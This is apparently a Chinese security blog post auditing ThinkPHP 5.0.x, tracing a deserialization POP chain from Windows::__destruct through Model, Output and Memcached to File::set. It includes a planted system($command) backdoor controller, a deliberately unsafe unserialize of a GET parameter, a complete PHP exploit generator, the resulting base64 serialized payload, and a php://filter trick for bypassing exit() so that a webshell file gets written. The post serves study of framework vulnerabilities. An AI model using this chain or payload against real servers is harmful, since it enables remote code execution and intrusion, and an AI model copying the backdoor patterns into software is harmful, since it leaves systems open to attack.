本次记录主要是对ThinkPHP 框架的 5.0.x版本进行代码审计,主要涉及的软件有:
PHPSTORM
Seay源代码审计系统
Phpstudy_pro
PHP版本使用7.3.4
关于PHPSTORM的Xdebug的搭建,我主要参考了暗月的教程
(说实话phpstudy_pro的配置文件真的太麻烦了)
首先还是常规操作,使用Seay源代码审计系统来进行自动审计:
这边出了一堆。不过不是每个都有用的。
主要还是要审计POP链,然后RCE。
首先是对ThinkPHP 5.0目录结构进行查看:
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
这部分可以比较明确的看见每个部分代码的作用是什么,方便到时候思考,或者是跟链子。
关于控制器文件(Controller):
ThinkPHP的控制器是一个类,接收用户的输入并调用模型和视图去完成用户的需求,控制器层由核心控制器和业务控制器组成,核心控制器由系统内部的App类完成,负责应用(包括模块、控制器和操作)的调度控制,包括HTTP请求拦截和转发、加载配置等。业务控制器则由用户定义的控制器类完成。多层业务控制器的实现原理和模型的分层类似,例如业务控制器和事件控制器。
控制器写法:
控制器文件通常放在application/module/controller
下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。
一个典型的控制器类定义如下:
<?php namespace app\index\controller; use think\Controller; class Index extends Controller { public function index() { return 'index'; } }
控制器类文件的实际位置是
application\index\controller\Index.php
一个例子:
<?php namespace app\index\controller; class Index { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>'; } } public function backdoor($command) { system($command); } }
想进入后门,需要访问:
http://ip/index.php/Index/backdoor/?command=ls
像上面这样就可以实现命令执行。
这个框架是需要二次开发,并且实现反序列化才能够进行利用,所以需要手写一个利用点。就写在controller里。
<?php namespace app\index\controller; class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_GET['a'])); //下面部分是自带的。 return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>'; } }
对于PHP反序列化来说,一般来说,比较常见的起点是:
_wakeup() 反序列化后,自动被调用
_destruct() 对象被销毁前,被调用
_toString() 对象被当作字符串输出前,被调用
比较常见的中间跳板是:
__toString 当一个对象被当做字符串使用,自动被调用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
根据以上两个经验,首先在Seay中进行全局查找。
那么可能存在的POP链大概率就在这部分。
尝试审计第一个__wakeup()
实际上来说__wakeup()
因为是在进行了反序列化之后才进行的,所以大部分时候是对反序列化内容的限制,很少作为入口,大部分时候可以直接看__destruct()
但是这里还是看一下
从Seay里可以看见,这部分的反序列化函数在:
首先看一下unserialize()
中的值是否可控。
向上看一下$value
这里可以看见value的值被设置为了null。
后面陆续向下看,可以发现的是$value值在这部分被用来存储时间戳
然后在接下来的writeTransform()
函数部分进行使用者需要的数据类型的更改。
然后在readTransform()
部分进行数据类型的变回去(进行了json格式加码,就进行解码,进行了序列化的就反序列化)
因此很容易发现$value
的值是我们不能操控的,所以这里无法利用。
有了以上的经验,接下来我们对__destruct()
函数进行审计。
路径:
thinkphp/library/think/process/pipes/Windows.php
这里首先看一下__destruct()
可以看见这边调用了两个函数,跟进一下。
首先分析一下close()
成员方法。
可以看到这里首先是调用了父类中的close()
方法,这里跟进一下,可以找到父类Pipes
中的close()
方法
这里的作用就是将pipes
数组中存在的文件一一关闭,最后再将pipes
数组清空。
子类中的方法同理,可知close()
用于关闭文件,虽然可以控制传参,但是不能进一步利用。
分析removeFiles()
成员方法。
可以看见这里有一个敏感函数,file_exists()
。当执行该函数的时候,会将参数作为字符串来判断,如果输入的是参数是一个对象,可以触发__toString()
魔术方法
看一下$filename
能不能控制。
这里看一下$this->files
的用法,写入值在__construct()
,不影响,因为反序列化不会调用__construct()
函数
可以在__construct()
看见files数组中,进行定义的过程。
这里使用到了tempnam()
函数,可以再指定的目录中创建一个具有唯一文件名的临时文件。成功返回新的文件名,失败返回false。
另一个函数返回当前操作系统的临时文件目录。
这部分可以看见数组$file
的定义,发现是可以控制的。
跟进到__toString()
,在Seay代码审计系统中进行全局搜索:
这里经过尝试之后,可以直接跟进到Model.php
中的__toString()
参数。(注意Model是一个抽象类,要进行了继承了之后才能实例化成对象,所以要找一个子类,这里可以选择Pivot)
跟进到toJson()
方法。
这里使用了json_encode()
函数,函数返回一个字符串,包含了value值json格式的表示。编码会受到options参数的印象。
跟进到toArray()
方法。(太长了,不放截图)
/** * 转换当前模型对象为数组 * @access public * @return array */ public function toArray() { $item = []; $visible = []; $hidden = []; $data = array_merge($this->data, $this->relation); // 过滤属性 if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); } foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { // 关联模型数据集 $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { // 模型属性 $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
这里比较长,但是不需要进行特别详细的审计,主要是看看有没有可以利用的危险函数,或者是可以当成跳板的利用点。
简单看了一下,这里没有什么危险函数,所以要考虑找跳板。
这里比较常见的跳板主要是__call()
看看有没有可控的,调用了函数的变量。
可以看到,一共有这三个变量调用了方法,找一下有没有可控的。
利用PHPSTORM的查找写入值,可以比较方便的看见写入和读取的过程。
$relation
前两个是用getAttr()函数来返回以$key为键名的数组$data的元素值。
后一个是调用了Loader类中的方法,看一下方法:
函数备注了字符串命名风格转换,理论上来说对于输入的字符串$name
是不会有什么影响的,如果$name
可以进行控制的话,那么就可以控制到$relation
。
回头查看一下:
通过查看append
的调用,可以发现append
是可以控制的,那么$name
和$relation
就是可以控制的了。可以通过这里触发__call()
魔术方法。
$modelRelation
这里有一个写入值的地方。
说实话,这部分我没看懂代码
查了一下之后, 对于这部分代码可以理解为:
$modelRelation = $this->$relation(); //relation是一个可以改变的函数名,可以根据$relatioin不同值,来使得$modelRelation等于不同函数的返回值。
同时要进入这部分,需要首先满足method_exists()
这个方法。
用于这部分,就是需要满足$relation()
所指向的方法,是存在于Model类中的方法。
这里选择的是getError()这个方法,因为返回值是可以控制的。
所以只要通过设置$error
为一个对象,同时将$relation
设置为getError,就可以实现对$modelRelation
的控制,进而触发__call()
$value
这里可以看见两个写入值的地方,跟进一下getRelationData($modelRelation)
这里首先判断了一下传入的参数是Relation类的对象(也就是$modelRelation)
可以看见下面有一个$value = $this->parent,而$parent
是可控的,这里如果能控制就很方便了。
看看判断条件:
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))
分析一下:
这里需要$this->parent
存在,$modelRelation
中存在isSelfRelation()
且返回值为0,$modelRelation
中存在getModel()
方法。
满足以上条件之后,就可以进入if,然后令$value=$this->partent
。所以$value
也是可以控制的
接下来就是要考虑怎么调用函数,来触发__call()
。
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
if (!empty($this->append))
可以直接控制,进入
foreach ($this->append as $key => $name)
控制了$append
,可以直接进入。
if (is_array($name))
令上一步中的$name
不是数组,进入。
elseif (strpos($name, '.'))
$name
不存在.
,进入。
if (method_exists($this, $relation))
要保证在Model类中,$relation
表示的函数存在即可进入。
if (method_exists($modelRelation, 'getBindAttr'))
保证在$modelRelation
表示的类中存在getBindAttr()
方法可以进入。
if ($bindAttr)
保证$modelRelation->getBindAttr();
存在,可以进入
if (isset($this->data[$key])) {
使得$data
中以$key
为键的元素是空即可绕过。
对于以上的八个关键点,进行分析:
因为我们可以控制$append
,所以我们可以对$key
和$name
的值进行控制(通过第二点的foreach)。
接下来第三点,我们需要保证在$append
中元素不为数组,这很好实现,随便写入一个字符串,例如Ho1L0w-By
(只是一个例子)即可(但实际上后面的要求不一样,只是就目前情况分析)。
第四点,要求$name
,也就是$append
中的元素中不能有.
,写的字符串已经实现了。
第五点和第六点需要一起看,就像是我们之前分析$relation
和$modelRelation
一样,为了控制第六点中的$modelRelation
中存在getBindAttr()
方法,我们需要将$relation
控制写为getError
,这样才能控制$modelRelation
的值,使得$modelRelation
中存在getBindAttr()
那么总结一下上面的六点:
$append
中的$key
和$name
可以控制,且$name
的值必须为getError
,然后通过设置$error
值,来进一步控制$modelRelation
。
而根据我们之前对于getRelationData()
方法中,$value = $this->partent
的分析,这里来总结一下对于$modelRelation
需要的条件
1、是Relation对象
2、存在isSelfRelation()方法,且返回值存在
3、存在getModel()方法,且返回值与get_class($this->parent)相同。(双等号)
4、存在getBindAttr()
进行用法查找:
可以看见这些里面都存在Relation的类。
而看过Relation
类之后可以发现,在所有的Relation的子类中都存在isSelfRelation()
和getModel()
。
这里跟进一下getModel()
函数:
查找一下用法,可以知道$query
是可控的,这里需要知道哪个类的getModel()
方法是可控的,来控制返回值。
可以看见是可控的,选择Query.php。
接下来就是在这些子类中找存在getBindAttr()
方法的类
在这里可以看见,和上面的重合点有一个,就是OneToOne.php里面。
而这里因为OneToOne这个类是抽象类,所以还需要找到它的子类。
这里可以选择HasOne.php。
这里就已经解决了$modelRelation
的需求,可以继续看剩下的7,8点。
第七点需要我们返回的$bindAttr
的值存在,看一下OneToOne.php中的getBindAttr()
方法,可以看见是可控的,简单绕过。
第八点我们对$key的值溯源一下,
看一下这个三元运算,只要$key
是数字,就可以设置$key
的值为$attr
,可以看见$key
和$attr
都是我们可以进行控制的,因为$bindAttr
可以控制。
到这里,已经可以执行我们需要的函数来触发__call()
了。
进行全局搜索,找到一个合适的__call()方法
这里根据前人经验,可以选择Output.php(篇幅有限)
这里是路径:
thinkphp/library/think/console/Output.php
在这里主要需要看的是这两个函数:
array_unshift()
,call_user_func_array()
。
array_unshift()
函数用于向数组插入新元素。新数组的值将被插入到数组的开头。
call_user_func_array
— 调用回调函数,并把一个数组参数作为回调函数的参数
可以看到第一个没什么用,但是第二个比较有意思,这里可以调用回调函数。
什么是回调函数?
通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。
看看手册里的说明。
因为是在
$item[$key] = $value ? $value->getAttr($attr) : null;
对__call()进行的触发,所以此处在__call()中的参数,$method
是getAttr()
,$args
是$attr
的值。
第一个if中,可以看见styles是可控的。
将$styles
中的值多添加一个getAttr()
即可进入
这里跟进类中的block
方法:
跟进writeln
(一看就很敏感)
跟进write
查看一下$handle
的用法
反序列化是不会调用__construct()
的,因此$handle
可控
因此可以全局查看一下哪里的write可以利用:
这里可以看见有好几个write函数存在,也有多个可以利用的点。这里主要让我们看一下Memcache.php
中的Write函数。
thinkphp/library/think/session/driver/Memcache.php
$handler
可控,因此可以随便调用任何文件中的set函数,全局查找set函数:
这里还是使用Seay进行查找。
这里可以看见很多不同的函数使用文件,可以都看一下,这里如果是想要使用写入webshell,主要的利用点在File.php
文件中,文件路径:
thinkphp/library/think/cache/driver/File.php
可以看见危险函数file_put_contents($filename,$data)
,这里可以用来写入webshell。具体内容可以由我们自己决定。
这里一般来说,只要我们使用一个<?php phpinfo(); ?>
,然后访问对应文件,出现了详情页面,就可以用来证明漏洞存在了。
这里分析一下如何利用到这个file_put_contents()
函数。
第一个if是判断$expire
的,对$expire
进行了设置。
第二个if用来判断$expire
是不是DataTime
的子类,设置时间戳。
然后将$filename
调用getCacheKey()
函数进行了值的设置,因为$filename
是file_put_contents()
函数中的一个参数,所以这里我们跟进函数。
protected function getCacheKey($name, $auto = false) { $name = md5($name); //$name进行md5加密 if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename); if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
可以看见两个if主要是用来更改文件名的,因为$options
可以控制,所以可以直接修改之后绕过。
然后到了$filename
进行设置的地方了,这里同样因为$options
可以进行控制,所以基本是可以确定文件名是可控的,同时文件的后缀也是被写死了是.php。
后面的函数不会影响$filename
,因此可以确定$filename
可以控制。
继续分析,可以看见$data作为file_put_contents()
函数的参数是进行序列化出来的,参数是使用的$value
。
这里会出现两个问题,因为$value
这个值是调用函数时传入的参数,在writeln
中一路传过来的时候,已经是被确定了为布尔值的true
,因此我们不能对$value
达成控制的效果。
而这里,也可以看见$data
的值也是被写死了,并且存在一个exit()
函数,需要进行死亡绕过。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里连接了一个$data
如果不能解决这两个问题,这条链子是没法调用的。
这里需要往下看
跟进到setTagItem(),
可以看见这里将$filename
作为参数传递进去,同时在下方继续对set()函数进行了调用,将$key和$value作为参数传递了回去。
可以看见,在这里的$value
是赋值为了$filename
的值,因此,如果是构造了较为合理的$filename
,那么就可以进行文件的写入。
写入了文件之后,需要考虑到代码执行的问题,因此需要对exit()函数进行绕过,这里需要用到PHP伪协议的知识,来对exit()函数进行死亡绕过。
到这里,这条链子算是走通了。
按照我们现在进行的一系列分析,可以尝试写出EXP如下:
<?php namespace think\process\pipes{ abstract class Pipes{ } } namespace think\process\pipes{ class Windows extends Pipes { private $files = []; public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象 { $this->files = [$Pivot]; } } } //Pivot类 namespace think { abstract class Model{ protected $append = []; protected $error = null; protected $parent; function __construct($output, $modelRelation) { $this->parent = $output; //$this->parent=> think\console\Output; $this->append = array("1"=>"getError"); //调用getError 返回this->error $this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类,也就是HasOne } } } namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } //HasOne类 namespace think\model\relation{ class HasOne extends OneToOne { } } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量 } } } //Query类,用来匹配$parent namespace think\db { class Query { protected $model; function __construct($model) //传入的需要是Output类的对象 { $this->model = $model; } } } //Output类 namespace think\console{ class Output{ protected $styles = ["getAttr"]; private $handle; public function __construct($handle) { $this->handle = $handle; //是Memcached类的对象,需要调用这个里面的write } } } //Memcached类 namespace think\session\driver { class Memcached{ protected $handler; public function __construct($handler) { $this->handler = $handler; //是File类的对象,需要使用其中的set方法 } } } //File类 namespace think\cache\driver { class File { protected $options=null; protected $tag; public function __construct() { $this->options=[ 'expire' => 0, 'cache_subdir' => '0', //绕过getCacheKey中的第一个if 'prefix' => '0', //绕过getCacheKey中的第二个if 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php', //有php+12个0+exit,共21个字符,为了凑到4的整数倍,需要加上三个字符 'data_compress' => false, ]; $this->tag = '1'; //用于后续控制文件名,需要使用 } } } namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne)); echo base64_encode(serialize($window)); }
运行后生成:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aToxO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO3M6MToiMCI7czo2OiJwcmVmaXgiO3M6MToiMCI7czo0OiJwYXRoIjtzOjEwNjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXh4eFBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Ky8uLi9hLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czoxOiIxIjt9fX19fXM6OToiACoAcGFyZW50IjtyOjExO319fQ
传入:
效果图:
这里分析一下文件名是怎么生成的
第一次进入set函数的时候:
首先将$name进行md5加密,然后连接到$this->options['path']后面,再加上.php
可以得到$filename
如下:
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php8db7a8c80e67e908f96fbf22dde11df3.php
然后进行file_put_contents()
,可以得到第一个文件,同时第一个$data值是将恒为true的$value反序列化,得到b:1;
第二次进入set函数的时候:
会经过setTagtem()函数,进行重新赋值,进入到has方法,跟进到get方法,然后重新调用到File类的getCacheKey方法,此时的$name是tag_md5("1"),也就是tag_c4ca4238a0b923820dcc509a6f75849b
然后上面的再次md5,得到3b58a9545013e88c7186db11bb158c44
,按照之前的方法,连接到后面,就会出现新的$filename
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php
因为这个文件不存在,会返回false所以会跳过if($this->has($key)),直接令$value等于输入的$name,也就是tag_md5("1"),也就是tag_c4ca4238a0b923820dcc509a6f75849b
然后再次进入set()函数,这一次会进入getCacheKey()函数,然后再次md5加密,得到md5(tag_md5("1")),也就是$filename
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php
然后因为第一次进入setTagItem()函数的时候,会将tag设置为null,所以不会再进入,写入成功。
因此最后我们需要的文件名应该是这个格式:
<?php
$name = "a.php".md5(tag_md5("1")).".php"
两次md5都是getCacheKey中的函数。
https://xz.aliyun.com/t/7457#toc-3
https://www.moonsec.com/4586.html
https://www.anquanke.com/post/id/196364#h2-5
https://www.anquanke.com/post/id/265088#h2-4